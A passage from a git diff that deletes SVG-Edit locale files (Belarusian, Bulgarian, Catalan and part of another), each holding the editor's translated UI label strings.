-		"text_contents": "Change text contents",
-		"font_family": "Change Font Family",
-		"font_size": "Change Font Size",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Change background color/opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Fit to all content",
-		"fit_to_canvas": "Fit to canvas",
-		"fit_to_layer_content": "Fit to layer content",
-		"fit_to_sel": "Fit to selection",
-		"align_relative_to": "Align relative to ...",
-		"relativeTo": "relative to:",
-		"page": "page",
-		"largest_object": "largest object",
-		"selected_objects": "selected objects",
-		"smallest_object": "smallest object",
-		"new_doc": "New Image",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Align Center",
-		"align_left": "Align Left",
-		"align_middle": "Align Middle",
-		"align_right": "Align Right",
-		"align_top": "Align Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Group Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Apply Changes",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move Layer Down",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Select predefined:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.be.js b/public/svg-edit/editor/locale/lang.be.js
deleted file mode 100644
index 6c201e1f..00000000
--- a/public/svg-edit/editor/locale/lang.be.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "be",
-	dir : "ltr",
-	common: {
-		"ok": "Захаваць",
-		"cancel": "Адмена",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Націсніце для змены колеру залівання, Shift-Click змяніць обводка",
-		"zoom_level": "Змяненне маштабу",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Змяненне колеру залівання",
-		"stroke_color": "Змяненне колеру інсульт",
-		"stroke_style": "Змяненне стылю інсульт працяжнік",
-		"stroke_width": "Змены шырыня штрых",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Змены вугла павароту",
-		"blur": "Change gaussian blur value",
-		"opacity": "Старонка абранага пункта непразрыстасці",
-		"circle_cx": "CX змене круга каардынаты",
-		"circle_cy": "Змены гуртка CY каардынаты",
-		"circle_r": "Старонка круга&#39;s радыус",
-		"ellipse_cx": "Змены эліпса CX каардынаты",
-		"ellipse_cy": "Змены эліпса CY каардынаты",
-		"ellipse_rx": "Х змяненні эліпса радыюсам",
-		"ellipse_ry": "Змены у эліпса радыюсам",
-		"line_x1": "Змены лінія пачынае каардынаты х",
-		"line_x2": "Змяненне за перыяд, скончыўся лінія каардынаты х",
-		"line_y1": "Змены лінія пачынае Y каардынаты",
-		"line_y2": "Змяненне за перыяд, скончыўся лінія Y каардынаты",
-		"rect_height": "Змены прастакутнік вышынёй",
-		"rect_width": "Змяненне шырыні прамавугольніка",
-		"corner_radius": "Змены прастакутнік Corner Radius",
-		"image_width": "Змены шырыня выявы",
-		"image_height": "Змена вышыні выявы",
-		"image_url": "Змяніць URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Змяненне зместу тэксту",
-		"font_family": "Змены Сямейства шрыфтоў",
-		"font_size": "Змяніць памер шрыфта",
-		"bold": "Тоўсты тэкст",
-		"italic": "Нахілены тэкст"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Змяненне колеру фону / непразрыстасць",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Па памеры ўтрымання",
-		"fit_to_all": "Па памеру ўсе змесціва",
-		"fit_to_canvas": "Памер палатна",
-		"fit_to_layer_content": "По размеру слой ўтрымання",
-		"fit_to_sel": "Выбар памеру",
-		"align_relative_to": "Выраўнаваць па дачыненні да ...",
-		"relativeTo": "па параўнанні з:",
-		"старонка": "старонка",
-		"largest_object": "найбуйнейшы аб&#39;ект",
-		"selected_objects": "выбранымі аб&#39;ектамі",
-		"smallest_object": "маленькі аб&#39;ект",
-		"new_doc": "Новае выява",
-		"open_doc": "Адкрыць выява",
-		"export_png": "Export as PNG",
-		"save_doc": "Захаваць малюнак",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Лінаваць па ніжнім краю",
-		"align_center": "Лінаваць па цэнтру",
-		"align_left": "Па левым краю",
-		"align_middle": "Выраўнаваць Блізкага",
-		"align_right": "Па правым краю",
-		"align_top": "Лінаваць па верхнім краю",
-		"mode_select": "Выберыце інструмент",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Свабоднай рукі Прастакутнік",
-		"mode_ellipse": "Эліпс",
-		"mode_circle": "Круг",
-		"mode_fhellipse": "Свабоднай рукі Эліпс",
-		"mode_path": "Poly Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Тэкст Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Адмяніць",
-		"redo": "Паўтор",
-		"tool_source": "Змяніць зыходны",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Група элементаў",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Элементы Разгруппировать",
-		"docprops": "Уласцівасці дакумента",
-		"imagelib": "Image Library",
-		"move_bottom": "Перамясціць уніз",
-		"move_top": "Перамясціць угару",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Захаваць",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Выдаліць слой",
-		"move_down": "Перамясціць слой на",
-		"new": "Новы слой",
-		"rename": "Перайменаваць Слой",
-		"move_up": "Перамяшчэнне слоя да",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Выберыце прадвызначэньні:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.bg.js b/public/svg-edit/editor/locale/lang.bg.js
deleted file mode 100644
index 5b58f568..00000000
--- a/public/svg-edit/editor/locale/lang.bg.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "bg",
-	dir : "ltr",
-	common: {
-		"ok": "Спасявам",
-		"cancel": "Отказ",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Кликнете, за да промени попълнете цвят, на смени, кликнете да променят цвета си удар",
-		"zoom_level": "Промяна на ниво на мащабиране",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Промяна попълнете цвят",
-		"stroke_color": "Промяна на инсулт цвят",
-		"stroke_style": "Промяна на стила удар тире",
-		"stroke_width": "Промяна на ширината инсулт",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Промяна ъгъл на завъртане",
-		"blur": "Change gaussian blur value",
-		"opacity": "Промяна на избрания елемент непрозрачност",
-		"circle_cx": "CX Промяна кръг на координатната",
-		"circle_cy": "Промяна кръг&#39;s CY координира",
-		"circle_r": "Промяна кръг радиус",
-		"ellipse_cx": "Промяна на елипса&#39;s CX координира",
-		"ellipse_cy": "Промяна на елипса&#39;s CY координира",
-		"ellipse_rx": "Промяна на елипса&#39;s X радиус",
-		"ellipse_ry": "Промяна на елипса&#39;s Y радиус",
-		"line_x1": "Промяна на линия, започваща х координира",
-		"line_x2": "Промяна на линията приключва х координира",
-		"line_y1": "Промяна линия, започваща Y координира",
-		"line_y2": "Промяна на линията приключва Y координира",
-		"rect_height": "Промяна на правоъгълник височина",
-		"rect_width": "Промяна на правоъгълник ширина",
-		"corner_radius": "Промяна на правоъгълник Corner Radius",
-		"image_width": "Промяна на изображението ширина",
-		"image_height": "Промяна на изображението височина",
-		"image_url": "Промяна на URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Промяна на текст съдържание",
-		"font_family": "Промяна на шрифта Семейство",
-		"font_size": "Промени размера на буквите",
-		"bold": "Получер текст",
-		"italic": "Курсив текст"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Промяна на цвета на фона / непрозрачност",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit към съдържание",
-		"fit_to_all": "Побери цялото съдържание",
-		"fit_to_canvas": "Fit на платно",
-		"fit_to_layer_content": "Fit да слой съдържание",
-		"fit_to_sel": "Fit за подбор",
-		"align_relative_to": "Привеждане в сравнение с ...",
-		"relativeTo": "в сравнение с:",
-		"страница": "страница",
-		"largest_object": "най-големият обект",
-		"selected_objects": "избраните обекти",
-		"smallest_object": "най-малката обект",
-		"new_doc": "Ню Имидж",
-		"open_doc": "Отворете изображението",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Привеждане Отдолу",
-		"align_center": "Подравняване в средата",
-		"align_left": "Подравняване вляво",
-		"align_middle": "Привеждане в Близкия",
-		"align_right": "Подравняване надясно",
-		"align_top": "Привеждане Топ",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Свободен Употребявани правоъгълник",
-		"mode_ellipse": "Елипса",
-		"mode_circle": "Кръгът",
-		"mode_fhellipse": "Свободен Употребявани Елипса",
-		"mode_path": "Поли Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Текст Оръдие",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Отмени",
-		"redo": "Възстановяване",
-		"tool_source": "Редактиране Източник",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Група Елементи",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Разгрупирай Елементи",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Премести надолу",
-		"move_top": "Премести в началото",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Спасявам",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Изтриване на слой",
-		"move_down": "Move слой надолу",
-		"new": "Нов слой",
-		"rename": "Преименуване Layer",
-		"move_up": "Move Up Layer",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Изберете предварително:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.ca.js b/public/svg-edit/editor/locale/lang.ca.js
deleted file mode 100644
index d08a60dd..00000000
--- a/public/svg-edit/editor/locale/lang.ca.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "ca",
-	dir : "ltr",
-	common: {
-		"ok": "Salvar",
-		"cancel": "Cancel",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Feu clic per canviar el color de farciment, shift-clic per canviar el color del traç",
-		"zoom_level": "Canviar el nivell de zoom",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Canviar el color de farciment",
-		"stroke_color": "Canviar el color del traç",
-		"stroke_style": "Canviar estil de traç guió",
-		"stroke_width": "Canviar l&#39;amplada del traç",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Canviar l&#39;angle de rotació",
-		"blur": "Change gaussian blur value",
-		"opacity": "Canviar la opacitat tema seleccionat",
-		"circle_cx": "CX cercle Canvi de coordenades",
-		"circle_cy": "Cercle Canvi CY coordinar",
-		"circle_r": "Ràdio de cercle Canvi",
-		"ellipse_cx": "Canviar lipse CX coordinar",
-		"ellipse_cy": "Lipse Canvi CY coordinar",
-		"ellipse_rx": "Ràdio x lipse Canvi",
-		"ellipse_ry": "Ràdio i lipse Canvi",
-		"line_x1": "Canviar la línia de partida de la coordenada x",
-		"line_x2": "Canviar la línia d&#39;hores de coordenada x",
-		"line_y1": "Canviar la línia de partida i de coordinar",
-		"line_y2": "Canviar la línia d&#39;hores de coordenada",
-		"rect_height": "Rectangle d&#39;alçada Canvi",
-		"rect_width": "Ample rectangle Canvi",
-		"corner_radius": "Canviar Rectangle Corner Radius",
-		"image_width": "Amplada de la imatge Canvi",
-		"image_height": "Canviar l&#39;altura de la imatge",
-		"image_url": "Canviar URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Contingut del text",
-		"font_family": "Canviar la font Família",
-		"font_size": "Change Font Size",
-		"bold": "Text en negreta",
-		"italic": "Text en cursiva"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Color de fons / opacitat",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Ajustar al contingut",
-		"fit_to_all": "Ajustar a tot el contingut",
-		"fit_to_canvas": "Ajustar a la lona",
-		"fit_to_layer_content": "Ajustar al contingut de la capa d&#39;",
-		"fit_to_sel": "Ajustar a la selecció",
-		"align_relative_to": "Alinear pel que fa a ...",
-		"relativeTo": "en relació amb:",
-		"Pàgina": "Pàgina",
-		"largest_object": "objecte més gran",
-		"selected_objects": "objectes escollits",
-		"smallest_object": "objecte més petit",
-		"new_doc": "Nova imatge",
-		"open_doc": "Obrir imatge",
-		"export_png": "Export as PNG",
-		"save_doc": "Guardar imatge",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Alinear baix",
-		"align_center": "Alinear al centre",
-		"align_left": "Alinear a l&#39;esquerra",
-		"align_middle": "Alinear Medi",
-		"align_right": "Alinear a la dreta",
-		"align_top": "Alinear a dalt",
-		"mode_select": "Eina de selecció",
-		"mode_fhpath": "Eina Llapis",
-		"mode_line": "L&#39;eina",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "Lipse",
-		"mode_circle": "Cercle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Eina de text",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Desfés",
-		"redo": "Refer",
-		"tool_source": "Font Edita",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Elements de Grup de",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Desagrupar elements",
-		"docprops": "Propietats del document",
-		"imagelib": "Image Library",
-		"move_bottom": "Mou al final",
-		"move_top": "Mou al principi",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Salvar",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Eliminar capa",
-		"move_down": "Mou la capa de Down",
-		"new": "Nova capa",
-		"rename": "Canvieu el nom de la capa",
-		"move_up": "Mou la capa Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
